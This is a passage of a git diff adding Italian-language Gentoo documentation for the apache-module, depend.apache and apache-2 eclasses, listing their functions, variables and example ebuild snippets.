+    Prende opzionalmente un unico valore. Se il valore è impostato, restituisce
+    tutti i file *.html contenuti in  <c>${DOCFILES}</c>, altrimenti ritorna
+    tutti i file  non-*.html.
+  </ti>
+</tr>
+<tr>
+  <ti><c>apache1_src_compile</c></ti>
+  <ti>
+    Chiama <c>${APXS1}</c> con valori di <c>${APXS1_ARGS}</c>. Se un modulo
+    richiede un'impostazione di compilazione diversa da questa, allora si usa
+    <c>${APXS1}</c> nella routine src_compile.
+  </ti>
+</tr>
+<tr>
+  <ti><c>apache1_src_install</c></ti>
+  <ti>
+    Questo installa il modulo e i file di installazione nella directory di
+    apache. Gestisce l'installazione dei moduli, della configurazione, degli
+    eseguibili e della documentazione.
+  </ti>
+</tr>
+<tr>
+  <ti><c>apache1_pkg_postinst</c></ti>
+  <ti>Stampa messaggi standard di configurazione.</ti>
+</tr>
+<tr>
+  <ti><c>apache2_pkg_setup</c></ti>
+  <ti>
+    Se APACHE2_SAFE_MPMS è impostato, controlla gli MPMs installati e dà errore
+    se non ci sono MPMs sicuri installati.
+  </ti>
+</tr>
+<tr>
+  <ti><c>apache2_src_compile</c></ti>
+  <ti>
+    Chiama <c>${APXS2}</c> con valori di <c>${APXS2_ARGS}</c>. Se un modulo ha
+    bisogno di una impostazione di compilazione differente, allora usa
+    <c>${APXS2}</c> nella routine src_compile.
+  </ti>
+</tr>
+<tr>
+  <ti><c>apache2_src_install</c></ti>
+  <ti>
+    Questo installa il modulo e i file di configurazione nella directory di
+    apache. Gestisce l'installazione dei moduli, della configurazione, degli
+    eseguibili e della documentazione.
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <c>apache-module_pkg_setup</c><br />
+    <c>apache-module_src_compile</c><br />
+    <c>apache-module_src_install</c><br />
+    <c>apache-module_pkg_postinst</c>
+  </ti>
+  <ti>
+    Queste sono funzioni "wrapper" sulle funzioni apache1_* o apache2_*.
+    Determinano automaticamente la versione di apache su cui la compilazione si
+    appoggia.
+  </ti>
+</tr>
+</table>
+
+</body>
+</section>
+<section>
+<title>Variabili</title>
+<body>
+
+<table>
+<tr>
+  <th>Variabile</th>
+  <th>Predefinito</th>
+  <th>Descrizione</th>
+</tr>
+<tr>
+  <ti>
+    <c>APACHE1_MOD_CONF</c><br />
+    <c>APACHE2_MOD_CONF</c>
+  </ti>
+  <ti>Nessuna</ti>
+  <ti>
+    Il luogo in <c>${FILESDIR}</c> della configurazione del modulo, senza
+    l'estensione .conf.
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <c>APACHE1_MOD_DEFINE</c><br />
+    <c>APACHE2_MOD_DEFINE</c>
+  </ti>
+  <ti>Nessuna</ti>
+  <ti>
+    Nome del define nella configurazione del modulo. Usato mostrando un
+    messaggio all'utente per aggiungere <path>/etc/conf.d/apache{|2}</path> al
+    loro percorso.
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <c>APACHE1_EXECFILES</c><br />
+    <c>APACHE2_EXECFILES</c>
+  </ti>
+  <ti>Nessuno</ti>
+  <ti>File eseguibili aggiuntivi che dovrebbero essere installati.</ti>
+</tr>
+<tr>
+  <ti>
+    <c>APACHE1_MOD_FILE</c><br />
+    <c>APACHE2_MOD_FILE</c>
+  </ti>
+  <ti>
+    ${PN}.so<br />
+    .libs/${PN}.so
+  </ti>
+  <ti>Il modulo che <c>src_install</c> installa.</ti>
+</tr>
+<tr>
+  <ti><c>APACHE2_SAFE_MPMS</c></ti>
+  <ti>Nessuno</ti>
+  <ti>
+    Una lista di MPMs che funzionano con questo modulo. Se non impostati, allora
+    non verrà fatto nessun controllo sugli MPMs. Se ci sono degli MPMs non
+    sicuri installati, l'utente è avvisato. Se non ci sono MPMs sicuri
+    installati, il modulo rifiuta di installarsi.
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <c>APXS1_S</c><br />
+    <c>APXS2_S</c>
+  </ti>
+  <ti>Nessuna</ti>
+  <ti>
+    Percorsi verso directory di compilazione temporanee. Restituiti da
+    <c>apache_cd_dir</c> se configurati, altrimenti vedere <c>${S}/src</c> (se è
+    una directory) oppure <c>${S}</c>.
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <c>APXS1_ARGS</c><br />
+    <c>APXS2_ARGS</c>
+  </ti>
+  <ti>-c ${PN}.c</ti>
+  <ti>Argomenti da passare all'apxs tool.</ti>
+</tr>
+<tr>
+  <ti><c>DOCFILES</c></ti>
+  <ti>Nessuno</ti>
+  <ti>
+    La documentazione da installare. Qualsiasi file con estensione .html è
+    installato usando  <c>dohtml</c>, mentre tutti gli altri con <c>dodoc</c>.
+  </ti>
+</tr>
+</table>
+
+</body>
+</section>
+</chapter>
+
+<chapter id="depend-apache">
+<title>eclass depend.apache</title>
+<section>
+<title>Descrizione</title>
+<body>
+
+<p>
+La eclass <c>depend.apache</c> imposta le destinazioni predefinite per i
+differenti percorsi di apache e gestisce le impostazioni delle dipendenze. In
+generale questa eclass non dovrebbe essere usata per i moduli. Dovrebbe essere
+invece usata solo per i programmi che dipendono da apache, ma che non sono
+moduli. (I moduli dovrebbero usare l'eclass <uri
+link="#apache-module">apache-module</uri>.)
+</p>
+
+</body>
+</section>
+<section>
+<title>Funzioni</title>
+<body>
+
+<table>
+<tr>
+  <th>Funzione</th>
+  <th>Descrizione</th>
+</tr>
+<tr>
+  <ti><c>need_apache1</c></ti>
+  <ti>
+    Questa funzione imposta in modo corretto le dipendenze per quei pacchetti
+    che supportano solo apache-1.x. I pacchetti che hanno bisogno di apache-1.x
+    dovrebbero chiamare <c>need_apache1</c> nel global scope per impostare
+    correttamente le dipendenze.
+  </ti>
+</tr>
+<tr>
+  <ti><c>need_apache2</c></ti>
+  <ti>
+    Questa funzione imposta in modo corretto le dipendenze per quei pacchetti
+    che supportano solo apache-2.x. I pacchetti che hanno bisogno di apache-2.x
+    dovrebbero chiamare <c>need_apache2</c> nel global scope per impostare
+    correttamente le dipendenze.
+  </ti>
+</tr>
+<tr>
+  <ti><c>need_apache</c></ti>
+  <ti>
+    Questa funzione imposta in modo corretto le informazioni sulla dipendenza
+    basandosi sulla flag USE correntemente impostate. I pacchetti che possono
+    usare ambedue le versioni di apache dovrebbero chiamare <c>need_apache</c>
+    nel global scope per impostare correttamente le dipendenze.
+  </ti>
+</tr>
+</table>
+
+</body>
+</section>
+<section>
+<title>Variabili</title>
+<body>
+
+<table>
+<tr>
+  <th>Variabile</th>
+  <th>Predefinito</th>
+  <th>Descrizione</th>
+</tr>
+<tr>
+  <ti><c>APACHE_VERSION</c></ti>
+  <ti>1</ti>
+  <ti>
+    Impostata da <c>need_apache</c>,<c>need_apache1</c>,<c>need_apache2</c>.
+    Salvano la versione di apache che si sta per compilare.
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <c>APXS1</c><br />
+    <c>APXS2</c>
+  </ti>
+  <ti>
+    <path>/usr/sbin/apxs</path><br />
+    <path>/usr/sbin/apxs2</path>
+  </ti>
+  <ti>Percorso agli apxs tool</ti>
+</tr>
+<tr>
+  <ti>
+    <c>APACHECTL1</c><br />
+    <c>APACHECTL2</c>
+  </ti>
+  <ti>
+    <path>/usr/sbin/apachectl</path><br />
+    <path>/usr/sbin/apache2ctl</path>
+  </ti>
+  <ti>Percorso agli apachectl tool</ti>
+</tr>
+<tr>
+  <ti>
+    <c>APACHE1_BASEDIR</c><br />
+    <c>APACHE2_BASEDIR</c>
+  </ti>
+  <ti>
+    <path>/usr/lib/apache</path><br />
+    <path>/usr/lib/apache2</path>
+  </ti>
+  <ti>Il percorso su cui viene eseguito il server</ti>
+</tr>
+<tr>
+  <ti>
+    <c>APACHE1_CONFDIR</c><br />
+    <c>APACHE2_CONFDIR</c>
+  </ti>
+  <ti>
+    <path>/etc/apache</path><br />
+    <path>/etc/apache2</path>
+  </ti>
+  <ti>Posizione del file di configurazione <path>httpd.conf</path></ti>
+</tr>
+<tr>
+  <ti>
+    <c>APACHE1_MODULES_CONFDIR</c><br />
+    <c>APACHE2_MODULES_CONFDIR</c>
+  </ti>
+  <ti>
+    ${APACHE1_CONFDIR}/modules.d<br />
+    ${APACHE2_CONFDIR}/modules.d
+  </ti>
+  <ti>
+    Posizione dove i moduli dovrebbero installare la loro configurazione. Tutti
+    i file *.conf in questa directory sono inclusi durante l'avvio.
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <c>APACHE1_VHOSTDIR</c><br />
+    <c>APACHE2_VHOSTDIR</c>
+  </ti>
+  <ti>
+    ${APACHE1_CONFDIR}/vhosts.d<br />
+    ${APACHE2_CONFDIR}/vhosts.d
+  </ti>
+  <ti>
+    Posizione in cui le configurazioni del virtual host dovrebbero essere
+    tenute. Tutti i file *.conf in questa directory sono inclusi durante
+    l'avvio.
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <c>APACHE1_MODULESDIR</c><br />
+    <c>APACHE2_MODULESDIR</c>
+  </ti>
+  <ti>
+    ${APACHE1_BASEDIR}/modules<br />
+    ${APACHE2_BASEDIR}/modules
+  </ti>
+  <ti>Posizione in cui i binari del modulo dovrebbero essere installati.</ti>
+</tr>
+</table>
+
+<note>
+Tutte le variabili dovrebbero essere trattate come di sola lettura e non
+dovrebbero essere modificate nell'ebuild. Fare questo può portare a risultati
+imprevedibili.
+</note>
+
+</body>
+</section>
+</chapter>
+
+</guide>
diff --git a/xml/htdocs/proj/it/apache/doc/apache-2.eclass.xml b/xml/htdocs/proj/it/apache/doc/apache-2.eclass.xml
new file mode 100644
index 00000000..4b45953a
--- /dev/null
+++ b/xml/htdocs/proj/it/apache/doc/apache-2.eclass.xml
@@ -0,0 +1,278 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/it/apache/doc/apache-2.eclass.xml,v 1.1 2008/04/16 18:39:33 scen Exp $ -->
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link="/proj/it/apache/doc/apache-2.eclass.xml" lang="it">
+<title>Documentazione per apache-2.eclass</title>
+
+<author title="Autore">
+  <mail link="apache-devs@gentoo.org">apache-devs@gentoo.org</mail>
+</author>
+<author title="Traduzione">
+  <mail link="scen"/>
+</author>
+
+<abstract>
+Documentazione auto-generata per apache-2.eclass
+</abstract>
+
+<license/>
+
+<version>1.0</version>
+<date>2008-03-23</date>
+
+<chapter>
+<title>NOME</title>
+<section>
+<body>
+
+<p>
+<c>apache-2.eclass</c> - Fornisce un insieme generale di funzioni per gli ebuild
+di apache-2.x
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>DESCRIZIONE</title>
+<section>
+<body>
+
+<p>
+Questa eclass gestisce le funzioni delle ebuild di apache-2.x come la
+generazione LoadModule e il controllo di dipendenza tra i moduli.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>FUNZIONI</title>
+<section>
+<body>
+
+<dl>
+  <dt><c>setup_mpm </c></dt>
+  <dd>
+    Questa funzione interna assicura che solo uno dei APACHE2_MPMS sia
+    selezionato o un'impostazione predefinita basata su USE=threads sia
+    selezionata se APACHE2_MPMS è vuoto
+  </dd>
+  <dt><c>check_module_critical </c></dt>
+  <dd>
+    Questa funzione interna avvisa l'utente riguardo a moduli critici per la
+    configurazione predefinita di apache.
+  </dd>
+  <dt><c>check_module_depends </c></dt>
+  <dd>
+    Questa funzione interna assicura che tutte le dipendenze tra moduli siano
+    soddisfatte con la selezione corrente di moduli
+  </dd>
+  <dt><c>setup_modules </c></dt>
+  <dd>
+    Questa funzione interna seleziona tutti i moduli built-in basati sulle flag
+    USE e sulle flag USE_EXPAND APACHE2_MODULES
+  </dd>
+  <dt><c>generate_load_module </c></dt>
+  <dd>
+    Questa funzione interna genera le linee LoadModule per httpd.conf basandosi
+    sulle selezione corrente dei moduli e MODULE_DEFINES
+  </dd>
+  <dt><c>check_upgrade </c></dt>
+  <dd>
+    Questa funzione interna controlla se il file di configurazione precedente
+    per i moduli built-in esista in ROOT e ne previene l'aggiornamento, in
+    questo caso. Si presuppone che gli utenti convertano questo file alla nuova
+    variabile USE_EXPAND APACHE2_MODULES e lo rimuovano successivamente.
+  </dd>
+  <dt><c>apache-2_pkg_setup </c></dt>
+  <dd>
+    Questa funzione selezioni i moduli built-in, gli MPM e altre opzioni di
+    configurazione, crea l'utente e il gruppo apache ed informa riguardo alla
+    necessaria disponibilità di CONFIG_SYSVIPC (non è possibile dipendere dai
+    sorgenti del kernel e pertanto non è possibile controllare automaticamente).
+  </dd>
+  <dt><c>apache-2_src_unpack </c></dt>
+  <dd>
+    Questa funzione applica patch, configura un layout personalizzato del
+    file-system e ricompila gli script di configurazione.
+  </dd>
+  <dt><c>apache-2_src_compile </c></dt>
+  <dd>
+    Questa funzione aggiunge flag di compilazione ed esegue econf ed emake
+    basandosi su MY_MPM e MY_CONF
+  </dd>
+  <dt><c>apache-2_src_install </c></dt>
+  <dd>
+    Questa funzione esegue `emake install' e genera, installa e adatta i file di
+    configurazione specifici per gentoo trovati nell'archivio tarball
+  </dd>
+  <dt><c>apache-2_pkg_postinst </c></dt>
+  <dd>
+    Questa funzione crea i certificati di test se SSL è abilitato ed installa la
+    webroot predefinita in /var/www/localhost se non esiste già. Vengono fatte
+    qui queste operazioni perché la webroot predefinita è una copia dei file che
+    esistono da altre parti e non si vuole vengano gestite/rimosse da portage
+    quando apache viene aggiornato.
+  </dd>
+  <dt><c>apache-2_pkg_config </c></dt>
+  <dd>
+    Questa funzione installa -- e sovrascrive -- la webroot predefinita su
+    /var/www/localhost
+  </dd>
+</dl>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>VARIABILI</title>
+<section>
+<body>
+
+<dl>
+  <dt><c>GENTOO_DEVELOPER</c></dt>
+  <dd>
+    Questa variabile ha bisogno di essere impostata nell'ebuild e contiene il
+    nome dello sviluppatore gentoo che ha creato l'archivio tarball delle patch
+  </dd>
+  <dt><c>GENTOO_PATCHSTAMP</c></dt>
+  <dd>
+    Questa variabile ha bisogno di essere impostata nell'ebuild e contiene la
+    data di creazione dell'archivio tarball delle patch nel formato AAAAMMGG
+  </dd>
+  <dt><c>IUSE_MPMS_FORK</c></dt>
+  <dd>
+    Questa variabile ha bisogno di essere impostata nell'ebuild e contiene un
+    elenco di MPM forking (ovvero non-threaded)
+  </dd>
+  <dt><c>IUSE_MPMS_THREAD</c></dt>
+  <dd>
+    Questa variabile ha bisogno di essere impostata nell'ebuild e contiene un
+    elenco di MPM threaded
+  </dd>
+  <dt><c>IUSE_MODULES</c></dt>
+  <dd>
+    Questa variabile ha bisogno di essere impostata nell'ebuild e contiene un
+    elenco di moduli built-in disponibili
+  </dd>
+  <dt><c>MODULE_CRITICAL</c></dt>
+  <dd>
+    Questa variabile ha bisogno di essere impostata nell'ebuild e contiene un
+    elenco separato da spazi di moduli critici per l'installazione predefinita
+    di apache. Un utente potrebbe ancora disabilitare questi moduli per
+    installazioni minimali personalizzate a proprio rischio e pericolo.
+  </dd>
+  <dt><c>MODULE_DEPENDS</c></dt>
+  <dd>
+    Questa variabile ha bisogno di essere impostata nell'ebuild e contiene un
+    elenco separato da spazi di token per le dipendenze, ciascuno con un modulo
+    e il modulo da cui dipende separati da una virgola.
+  </dd>
+  <dt><c>MODULE_DEFINES</c></dt>
+  <dd>
+    Questa variabile ha bisogno di essere impostata nell'ebuild e contiene un
+    elenco separato da spazi di token, ciascuno dei quali mappa un modulo ad un
+    define runtime che può essere specificato in APACHE2_OPTS all'interno di
+    /etc/conf.d/apache2 per abilitare questo particolare modulo.
+  </dd>
+</dl>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>VARIABILI ECLASS</title>
+<section>
+<body>
+
+<dl>
+  <dt><c>GENTOO_PATCHNAME = "gentoo-${PF}"</c></dt>
+  <dd>
+    Questa variabile interna contiene il prefisso dell'archivio tarball delle
+    patch
+  </dd>
+  <dt><c>GENTOO_PATCHDIR = "${WORKDIR}/${GENTOO_PATCHNAME}"</c></dt>
+  <dd>
+    Questa variabile interna contiene la directory di lavoro dove sono collocate
+    le patch e i file di configurazione
+  </dd>
+  <dt><c>MY_MPM</c></dt>
+  <dd>
+    Questa variabile interna contiene gli MPM selezionati dopo una chiamata a
+    setup_mpm()
+  </dd>
+  <dt><c>MY_CONF</c></dt>
+  <dd>
+    Questa variabile interna contiene le opzioni di econf per la selezione
+    corrente del modulo dopo una chiamata a setup_modules()
+  </dd>
+  <dt><c>MY_MODS</c></dt>
+  <dd>
+    Questa variabile interna contiene un elenco ordinato separato da spazi dei
+    moduli correntemente selezionati dopo una chiamata a setup_modules()
+  </dd>
+</dl>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>MANTENITORI</title>
+<section>
+<body>
+
+<p>
+apache-devs@gentoo.org
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>RIPORTARE BUGS</title>
+<section>
+<body>
+
+<p>
+Si prega di riportare eventuali bug tramite <uri
+link="http://bugs.gentoo.org">http://bugs.gentoo.org/</uri>
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>FILE</title>
+<section>
+<body>
+
+<p>
+<c>/usr/portage/eclass/apache-2.eclass</c>
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>VEDERE ANCHE</title>
+<section>
+<body>
+
+<p>
+<c>ebuild (5)</c>
+</p>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/it/apache/doc/apache-module.eclass.xml b/xml/htdocs/proj/it/apache/doc/apache-module.eclass.xml
new file mode 100644
index 00000000..9c06558b
--- /dev/null
+++ b/xml/htdocs/proj/it/apache/doc/apache-module.eclass.xml
@@ -0,0 +1,270 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/it/apache/doc/apache-module.eclass.xml,v 1.1 2008/04/16 18:39:33 scen Exp $ -->
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link="/proj/en/apache/doc/apache-module.eclass.xml" lang="it">
+<title>Documentazione per apache-module.eclass</title>
+
+<author title="Autore">
+  <mail link="apache-devs@gentoo.org">apache-devs@gentoo.org</mail>
+</author>
+<author title="Traduzione">
+  <mail link="scen"/>
+</author>
+
+<abstract>
+Documentazione auto-generata per apache-module.eclass
+</abstract>
+
+<license/>
+
+<version>1.0</version>
+<date>2008-03-23</date>
+
+<chapter>
+<title>NOME</title>
+<section>
+<body>
+
+<p>
+<c>apache-module.eclass</c> - Fornisce un insieme generale di funzioni per i
+moduli apache
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>DESCRIZIONE</title>
+<section>
+<body>
+
+<p>
+Questa eclass gestisce i moduli apache in modo ottimale.
+</p>
+
+<p>
+Per far uso di questa eclass basta chiamare una delle funzioni need/want_apache
+descritte in depend.apache.eclass. Assicurarsi di usare la chiamata
+need/want_apache dopo aver definito le variabili DEPEND e RDEPEND. Notare
+inoltre che si può fare affidamento sull'automatismo RDEPEND=DEPEND che portage
+fa se si usa questa eclass.
+</p>
+
+<p>
+Vedere il Bug 107127 per maggiori informazioni.
+</p>
+
+<p>
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>ESEMPIO</title>
+<section>
+<body>
+
+<p>
+</p>
+
+<p>
+Questo è un semplice esempio di un ebuild per mod_foo:
+</p>
+
+<p>
+</p>
+
+<pre caption="esempio">
+APACHE2_MOD_CONF="42_mod_foo"
+APACHE2_MOD_DEFINE="FOO"
+need_apache2
+</pre>
+
+<p>
+</p>
+
+<p>
+Un esempio più complicato per un modulo con locazioni non standard:
+</p>
+
+<p>
+</p>
+
+<pre caption="esempio">
+APXS2_S="${S}/apache22/src"
+APACHE2_MOD_FILE="${APXS2_S}/${PN}.so"
+APACHE2_MOD_CONF="42_${PN}"
+APACHE2_MOD_DEFINE="FOO"
+DOCFILES="docs/*.html"
+need_apache2_2
+</pre>
+
+<p>
+</p>
+
+<p>
+Una configurazione base di un modulo che carica solamente il modulo in apache:
+</p>
+
+<p>
+</p>
+
+<pre caption="esempio">
+&lt;IfDefine FOO&gt;
+LoadModule foo_module modules/mod_foo.so
+&lt;/IfDefine&gt;
+</pre>
+
+<p>
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>FUNZIONI</title>
+<section>
+<body>
+
+<dl>
+  <dt><c>apache-module_src_compile </c></dt>
+  <dd>
+    L'azione predefinita è chiamare ${APXS} con il valore di ${APXS2_ARGS}. Se
+    un modulo richiede un'impostazione di compilazione differente da questa,
+    usare ${APXS} nella propria routine src_compile.
+  </dd>
+  <dt><c>apache-module_src_install </c></dt>
+  <dd>
+    Installa i file nelle directory di apache. Il modulo è installato da una
+    directory scelta come sopra (apache_cd_dir). In aggiunta, questa funzione
+    può anche impostare i permessi d'esecuzione sui file elencati in
+    ${APACHE2_EXECFILES}. Il nome del file di configurazione è elencato in
+    ${APACHE2_MOD_CONF} senza l'estensione .conf, per cui se la propria
+    configurazione è 55_mod_foo.conf, APACHE2_MOD_CONF dovrà essere 55_mod_foo.
+    ${DOCFILES} contiene l'elenco dei file che si vogliono rendere disponibili
+    come documentazione.
+  </dd>
+  <dt><c>apache-module_pkg_postinst </c></dt>
+  <dd>
+    Stampa a video le informazioni riguardo al modulo installato e come
+    abilitarlo.
+  </dd>
+</dl>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>VARIABILI</title>
+<section>
+<body>
+
+<dl>
+  <dt><c>APXS2_S</c></dt>
+  <dd>
+    Percorso alla directory temporanea di compilazione. (Viene impostata al
+    valore predefinito `${S}/src' se esiste, altrimenti a `${S}')
+  </dd>
+  <dt><c>APXS2_ARGS</c></dt>
+  <dd>
+    Argomenti da passare allo strumento apxs. (Viene impostata al valore
+    predefinito `-c ${PN}.c')
+  </dd>
+  <dt><c>APACHE2_EXECFILES</c></dt>
+  <dd>
+    Elenco di file che verranno installati in ${APACHE_MODULE_DIR} a fianco di
+    ${APACHE2_MOD_FILE}. In aggiunta, questa funzione imposta inoltre i permessi
+    di esecuzioni su tali file.
+  </dd>
+  <dt><c>APACHE2_MOD_CONF</c></dt>
+  <dd>
+    File di configurazione del modulo installato da src_install (senza il
+    suffisso .conf e relativo a ${FILESDIR}).
+  </dd>
+  <dt><c>APACHE2_MOD_DEFINE</c></dt>
+  <dd>
+    Nome di un define (es. FOO) da usare in una espressione condizionale per il
+    caricamento del modulo installato/del suo file di configurazione,
+    definizioni multiple dovrebbero essere separate da spazi.
+  </dd>
+  <dt><c>APACHE2_MOD_FILE</c></dt>
+  <dd>
+    Nome del modulo che src_install installa, senza il suffisso .so. (Viene
+    impostato al valore predefinito `${APXS2_S}/.libs/${PN}.so')
+  </dd>
+  <dt><c>APACHE2_VHOST_CONF</c></dt>
+  <dd>
+    File di configurazione del Virtual host installato da src_install (senza il
+    suffisso .conf e relativo a ${FILESDIR}).
+  </dd>
+  <dt><c>DOCFILES</c></dt>
+  <dd>
+    Se la funzione src_install() esportata è in uso, e ${DOCFILES} è non-zero,
+    vengono eseguite delle funzioni sed per suddividere la documentazione html
+    (se c'è) dalla documentazione normale, e viene eseguito dodoc o dohtml
+  </dd>
+</dl>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>MANTENITORI</title>
+<section>
+<body>
+
+<p>
+apache-devs@gentoo.org
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>RIPORTARE BUG</title>
+<section>
+<body>
+
+<p>
+Si prega di riportare eventuali bug tramite <uri
+link="http://bugs.gentoo.org">http://bugs.gentoo.org/</uri>
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>FILE</title>
+<section>
+<body>
+
+<p>
+<c>/usr/portage/eclass/apache-module.eclass</c>
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>VEDERE ANCHE</title>
+<section>
+<body>
+
+<p>
+<c>ebuild (5)</c>
+</p>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/it/apache/doc/depend.apache.eclass.xml b/xml/htdocs/proj/it/apache/doc/depend.apache.eclass.xml
new file mode 100644
index 00000000..ad1b19c4
--- /dev/null
+++ b/xml/htdocs/proj/it/apache/doc/depend.apache.eclass.xml
@@ -0,0 +1,291 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/it/apache/doc/depend.apache.eclass.xml,v 1.1 2008/04/16 18:39:33 scen Exp $ -->
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link="/proj/it/apache/doc/depend.apache.eclass.xml" lang="it">
+<title>Documentazione per depend.apache.eclass</title>
+
+<author title="Autore">
+  <mail link="apache-devs@gentoo.org">apache-devs@gentoo.org</mail>
+</author>
+<author title="Traduzione">
+  <mail link="scen"/>
+</author>
+
+<abstract>
+Documentazione auto-generata per depend.apache.eclass
+</abstract>
+
+<license/>
+
+<version>1.0</version>
+<date>2008-03-23</date>
+
+<chapter>
+<title>NOME</title>
+<section>
+<body>
+
+<p>
+<c>depend.apache.eclass</c> - Funzioni per permettere alle ebuild di dipendere
+da apache
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>DESCRIZIONE</title>
+<section>
+<body>
+
+<p>
+Questa eclass gestisce le dipendenze nei confronti di apache in maniera
+ottimale e fornisce informazioni riguardo alla locazione di alcuni binari e
+file di configurazione.
+</p>
+
+<p>
+Per fare uso di questa eclass basta invocare una delle funzioni need/want_apache
+descritte successivamente. Assicurarsi di usare la chiamata need/want_apache
+dopo aver definito DEPEND e RDEPEND. Notare inoltre che si può fare affidamento
+sull'automatismo RDEPEND=DEPEND che portage fa se si usa questa eclass.
+</p>
+
+<p>
+Vedere il Bug 107127 per maggiori informazioni.
+</p>
+
+<p>
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>ESEMPIO</title>
+<section>
+<body>
+
+<p>
+</p>
+
+<p>
+Questo è un esempio di un ebuild che dipende da apache:
+</p>
+
+<p>
+</p>
+
+<pre caption="esempio">
+DEPEND="virtual/Perl-CGI"
+RDEPEND="${DEPEND}"
+need_apache2
+</pre>
+
+<p>
+</p>
+
+<p>
+Un altro esempio che dimostra le opzioni IUSE non-standard per il supporto
+opzionale ad apache:
+</p>
+
+<p>
+</p>
+
+<pre caption="esempio">
+DEPEND="server? ( virtual/Perl-CGI )"
+RDEPEND="${DEPEND}"
+want_apache2 server
+</pre>
+
+<p>
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>FUNZIONI</title>
+<section>
+<body>
+
+<dl>
+  <dt><c>want_apache [myiuse]</c></dt>
+  <dd>
+    Un'ebuild invoca tale funzione per ottenere le informazioni di dipendenza
+    per un supporto opzionale ad apache. Se il parametro myuse non viene fornito
+    viene valorizzato in modo predefinito a apache2.
+  </dd>
+  <dt><c>want_apache2 [myiuse]</c></dt>
+  <dd>
+    Un'ebuild invoca tale funzione per ottenere le informazioni di dipendenza
+    per un supporto opzionale ad apache-2.x. Se il parametro myuse non viene
+    fornito viene valorizzato in modo predefinito a apache2.
+  </dd>
+  <dt><c>want_apache2_2 [myiuse]</c></dt>
+  <dd>
+    Un'ebuild invoca tale funzione per ottenere le informazioni di dipendenza
+    per un supporto opzionale ad apache-2.2.x. Se il parametro myuse non viene
+    fornito viene valorizzato in modo predefinito a apache2.
+  </dd>
+  <dt><c>need_apache </c></dt>
+  <dd>
+    Un'ebuild invoca tale funzione per ottenere le informazioni di dipendenza
+    per apache.
+  </dd>
+  <dt><c>need_apache2 </c></dt>
+  <dd>
+    Un'ebuild invoca tale funzione per ottenere le informazioni di dipendenza
+    per apache-2.x.
+  </dd>
+  <dt><c>need_apache2_2 </c></dt>
+  <dd>
+    Un'ebuild invoca tale funzione per ottenere le informazioni di dipendenza
+    per apache-2.2.x.
+  </dd>
+  <dt><c>has_apache </c></dt>
+  <dd>
+    Un'ebuild invoca tale funzione per ottenere le variabili di runtime per una
+    dipendenza indiretta di apache senza flag USE, nel caso want_apache non
+    funzioni. NON invocare questa funzione in ambito ("scope", NdT) globale.
+  </dd>
+  <dt><c>has_apache_threads [myflag]</c></dt>
+  <dd>
+    Un'ebuild invoca tale funzione per assicurare che la "thread safety" sia
+    abilitata se apache è stato compilato con un MPM threaded. Se il parametro
+    myflag non viene fornito viene valorizzato in modo predefinito a threads.
+  </dd>
+  <dt><c>has_apache_threads_in &lt;myforeign&gt; [myflag]</c></dt>
+  <dd>
+    Un'ebuild invoca tale funzione per assicurare che la "thread safety" sia
+    abilitata in un pacchetto esterno se apache è stato compilato con un MPM
+    threaded. Se il parametro myflag non viene fornito viene valorizzato in modo
+    predefinito a threads.
+  </dd>
+</dl>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>VARIABILI ECLASS</title>
+<section>
+<body>
+
+<dl>
+  <dt><c>APACHE_VERSION</c></dt>
+  <dd>
+    Memorizza la versione di apache che verrà considerata nell'ebuild. Questa
+    variabile viene impostata dalle funzioni want/need_apache.
+  </dd>
+  <dt><c>APXS</c></dt>
+  <dd>
+    Percorso dello strumento apxs. Questa variabile viene impostata dalle
+    funzioni want/need_apache.
+  </dd>
+  <dt><c>APACHE_BIN</c></dt>
+  <dd>
+    Percorso del binario apache. Questa variabile viene impostata dalle funzioni
+    want/need_apache.
+  </dd>
+  <dt><c>APACHE_CTL</c></dt>
+  <dd>
+    Percorso dello strumento apachectl. Questa variabile viene impostata dalle
+    funzioni want/need_apache.
+  </dd>
+  <dt><c>APACHE_BASEDIR</c></dt>
+  <dd>
+    Percorso della directory root del server. Questa variabile viene impostata
+    dalle funzioni want/need_apache.
+  </dd>
+  <dt><c>APACHE_CONFDIR</c></dt>
+  <dd>
